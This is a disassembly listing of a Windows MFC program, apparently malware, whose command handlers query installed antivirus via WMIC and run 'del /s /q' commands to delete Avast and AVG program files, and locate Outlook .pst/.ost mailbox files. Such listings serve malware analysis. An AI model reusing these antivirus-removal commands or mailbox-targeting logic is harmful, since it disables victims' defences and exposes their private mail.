lea rcx, [rsp + 0xb98]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x4e8]
lea rdx, [rsp + 0xb98]
lea rcx, [rsp + 0x1a88]
call fcn.140006490
nop
lea r8, [rsp + 0xba0]
mov rdx, rax
lea rcx, [rsp + 0x1a80]
call fcn.140006490
nop
lea r8, [rsp + 0xba8]
mov rdx, rax
lea rcx, [rsp + 0x1a78]
call fcn.140006490
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.1400fc5a0
nop
lea rcx, [rsp + 0x1a80]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1a88]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xb98]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xba0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x188]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
mov ebx, eax
xor r8d, r8d
lea rdx, str.All_rights_reserved.
lea rcx, [rsp + 0x188]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
sub ebx, eax
lea r8d, [rbx - 0x14]
lea rdx, [rsp + 0x1a90]
lea rcx, [rsp + 0x188]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x188]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1a90]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x188]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rdx, rax
lea rcx, [rsp + 0x188]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x1a98]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
movzx esi, al
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x188]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x4e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xba8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.doesfileexists
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a6ee5
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1aa0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1aa0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x1aa8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1aa8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, str.selectfileforuse
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a6e6b
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1ae0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
lea rdx, str.PST_File_.pst_.pstOST_File_.ost_.ostAll_files__._.
lea rcx, [rsp + 0xbd0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x6a8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, str.MicrosoftOutlook_
lea rcx, [rsp + 0xbb0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x140192b68]
lea rcx, [rsp + 0x1ab0]
call fcn.1400ff820
nop
lea r8, [rsp + 0xbb0]
mov rdx, rax
lea rcx, [rsp + 0xbc8]
call fcn.140006490
nop
lea rcx, [rsp + 0x1ab0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xbb0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x2418]
call sub.mfc140u.dll_CEnumArray::CEnumArray
nop
lea rcx, [rsp + 0xbd0]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rbx, rax
lea rcx, [rsp + 0xbc8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov r9, rax
mov edi, 1
mov dword [rsp + 0x40], edi
xor r14d, r14d
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x1000
lea r8, str.Outlook.pst
mov edx, edi
lea rcx, [rsp + 0xf120]
call sub.mfc140u.dll_CEnumConnections::CEnumConnections
nop
lea rcx, [rsp + 0xf120]
call sub.mfc140u.dll_CD2DRadialGradientBrush::Detach
cmp rax, rdi
je 0x1400a6ccf
lea rax, [rsp + 0x1ab8]
mov qword [rsp + 0x58], rax
lea rdx, [0x140153cf8]
lea rcx, [rsp + 0x1ab8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rdi, rax
lea rdx, str.selectfileforuse_error_code
lea rcx, [rsp + reloc.mfc140u.dll_Ordinal_6848]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rdi
mov rcx, rbx
call fcn.14010a9a0
jmp 0x1400a6d05
lea rdx, [rsp + 0x1ac8]
lea rcx, [rsp + 0xf120]
call sub.mfc140u.dll_Ordinal_6090
nop
mov rdx, rax
lea rcx, [rsp + 0x6a8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1ac8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x6a8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
lea rcx, [rsp + 0x6a0]
call fcn.140103ed0
nop
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x6a0]
call fcn.140042c70
test al, al
je 0x1400a6df1
lea rdx, [0x14016e7b4]
lea rcx, [rsp + 0xbc0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.Size_of_the_selected_file_is___
lea rcx, [rsp + 0xbb8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x6a0]
lea rdx, [rsp + 0xbb8]
lea rcx, [rsp + 0x1ad8]
call fcn.140006490
nop
lea r8, [rsp + 0xbc0]
mov rdx, rax
lea rcx, [rsp + 0x1ad0]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1ad0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1ad8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xbb8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xbc0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400a6e06
lea rdx, str.Not_able_to_find_the_size_of_file_please_provide_valid_input_and_click_on__NEXT_STEP_
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
nop
lea rcx, [rsp + 0x6a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xf120]
call sub.mfc140u.dll_CDockingPanesRow::CDockingPanesRow
nop
lea rcx, [rsp + 0x2418]
call sub.mfc140u.dll_CDockingManager::CDockingManager
nop
lea rcx, [rsp + 0xbc8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x6a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xbd0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1ae0]
jmp 0x14009d7a2
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1ae8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
movzx ebx, al
test al, al
jne 0x1400a6edd
xor r8d, r8d
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a6edd
lea r8, str.Program_Files
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1af0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
movzx ebx, al
movzx esi, bl
jmp 0x1400acb92
lea rdx, str.antivirusCheckAndDelete
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a71f5
xor sil, sil
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x3a0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.WMIC__Node:localhost__Namespace:_rootSecurityCenter2_Path_AntiVirusProduct_Get_displayName
lea rcx, [rsp + 0xbd8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0xbd8]
lea rcx, [rsp + 0x1af8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x6b0]
call fcn.1400fc5a0
nop
xor r8d, r8d
lea rdx, str.Avast_Antivirus
lea rcx, [rsp + 0x6b0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a708b
lea rdx, str.C:Program_Files__x86_AVAST_SoftwareAvastAvastUI.exe
lea rcx, [rsp + 0x4f0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x4f0]
lea rcx, [rsp + 0x1b00]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
cmp al, 1
jne 0x1400a6ff3
lea rdx, str.del_C:_Program_Files__x86___AVAST_Software_AvastAvastUI.exe__s__q
lea rcx, [rsp + 0x1b08]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1b10]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x3a0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1b10]
jmp 0x1400a7074
lea r8, str.Program_Files
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x4f0]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rdx, [rsp + 0x4f0]
lea rcx, [rsp + 0x1b18]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
cmp al, 1
jne 0x1400a707d
lea rdx, str.del_C:_Program_Files__AVAST_Software_AvastAvastUI.exe__s__q
lea rcx, [rsp + 0x1b20]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1b28]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x3a0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1b28]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov sil, 1
lea rcx, [rsp + 0x4f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, str.AVG_Antivirus
lea rcx, [rsp + 0x6b0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a71c4
lea rdx, str.C:Program_Files__x86_AVGAntivirusAVGUI.exe
lea rcx, [rsp + 0x4f8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x4f8]
lea rcx, [rsp + 0x1b30]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
cmp al, 1
jne 0x1400a712b
lea rdx, str.del_C:_Program_Files__x86___AVG_AntivirusAVGUI.exe__s__q
lea rcx, [rsp + 0x1b38]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1b40]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x3a0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1b40]
jmp 0x1400a71ac
lea r8, str.Program_Files
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x4f8]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rdx, [rsp + 0x4f8]
lea rcx, [rsp + 0x1b48]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
cmp al, 1
jne 0x1400a71b5
lea rdx, str.del_C:_Program_Files__AVG_AntivirusAVGUI.exe__s__q
lea rcx, [rsp + 0x1b50]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1b58]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x3a0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1b58]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov sil, 1
lea rcx, [rsp + 0x4f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x6b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xbd8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x3a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.CheckWiFiSignalStrength
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a7420
lea rdx, str.netsh_interface_show_interface_findstr_WiFi
lea rcx, [rsp + 0x500]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x1b60]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.1400fc5a0
nop
xor r8d, r8d
lea rdx, str.Connected
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
jle 0x1400a73fb
lea rdx, str.netsh_wlan_show_interface_findstr_Signal
lea rcx, [rsp + 0x500]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x1b68]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1b70]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1b70]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
xor r8d, r8d
lea rdx, [0x14016eb2c]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1b78]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1b78]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14016c678]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1b80]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1b80]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
cmp eax, 0x32
jl 0x1400a73fb
mov sil, 1
lea rdx, str.IPCONFIG__FLUSHDNS
lea rcx, [rsp + 0x1b88]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1b90]
call fcn.1400fc5a0
lea rcx, [rsp + 0x1b90]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400a73fe
xor sil, sil
lea rcx, [rsp + 0xb0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x500]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.avgcheck
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a757c
xor sil, sil
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x1bb0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.WMIC__Node:localhost__Namespace:_rootSecurityCenter2_Path_AntiVirusProduct_Get_displayName
lea rcx, [rsp + 0xbe8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0xbe8]
lea rcx, [rsp + 0x1b98]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0xbe0]
call fcn.1400fc5a0
nop
xor r8d, r8d
lea rdx, str.AVG_Antivirus
lea rcx, [rsp + 0xbe0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a754b
lea rdx, str.C:Program_Files__x86_AVGAntivirusAVGUI.exe
lea rcx, [rsp + 0x508]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x508]
lea rcx, [rsp + 0x1ba0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
cmp al, 1
jne 0x1400a74f3
movzx esi, al
jmp 0x1400a753c
lea r8, str.Program_Files
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x508]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rdx, [rsp + 0x508]
lea rcx, [rsp + 0x1ba8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
movzx esi, sil
mov edi, 1
cmp al, dil
cmove esi, edi
lea rcx, [rsp + 0x508]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xbe0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xbe8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1bb0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.antivirusCheck
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a7894
xor sil, sil
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x3a8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.WMIC__Node:localhost__Namespace:_rootSecurityCenter2_Path_AntiVirusProduct_Get_displayName
lea rcx, [rsp + reloc.mfc140u.dll_ControlBarCleanUp]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + reloc.mfc140u.dll_ControlBarCleanUp]
lea rcx, [rsp + 0x1bb8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x6b8]
call fcn.1400fc5a0
nop
xor r8d, r8d
lea rdx, str.Avast_Antivirus
lea rcx, [rsp + 0x6b8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a772a
lea rdx, str.C:Program_Files__x86_AVAST_SoftwareAvastAvastUI.exe
lea rcx, [rsp + 0x510]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x510]
lea rcx, [rsp + 0x1bc0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
cmp al, 1
jne 0x1400a7692
lea rdx, str.C:_Program_Files__x86___AVAST_Software_AvastAvastUI.exe
lea rcx, [rsp + 0x1bc8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1bd0]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x3a8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1bd0]
jmp 0x1400a7713
lea r8, str.Program_Files
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x510]
